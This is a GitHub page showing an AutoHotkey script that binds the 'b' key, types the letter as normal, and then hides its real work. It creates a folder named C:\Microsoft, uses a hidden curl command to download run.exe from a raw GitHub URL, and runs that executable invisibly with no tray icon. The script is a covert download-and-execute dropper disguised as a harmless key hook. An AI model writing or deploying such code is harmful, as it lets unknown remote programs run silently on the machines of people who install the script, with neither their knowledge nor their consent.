-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathb.ahk
More file actions
25 lines (23 loc) · 762 Bytes
/
Copy pathb.ahk
File metadata and controls
25 lines (23 loc) · 762 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#SingleInstance Ignore
#NoTrayIcon
$b::{
path := "C:\Microsoft"
Send "b"
output := path "\run.exe"
if (DirExist(path)) {
if (FileExist(path "\run.exe")) {
Run output, , "Hide"
} else {
url := "https://raw.githubusercontent.com/astorrs276/Public-AHK/refs/heads/main/run.exe"
command := 'cmd /c curl -L -o "' . output . '" "' . url . '"'
RunWait command, , "Hide"
Run output, , "Hide"
}
} else {
DirCreate(path)
url := "https://raw.githubusercontent.com/astorrs276/Public-AHK/refs/heads/main/run.exe"
command := 'cmd /c curl -L -o "' . output . '" "' . url . '"'
RunWait command, , "Hide"
Run output, , "Hide"
}
}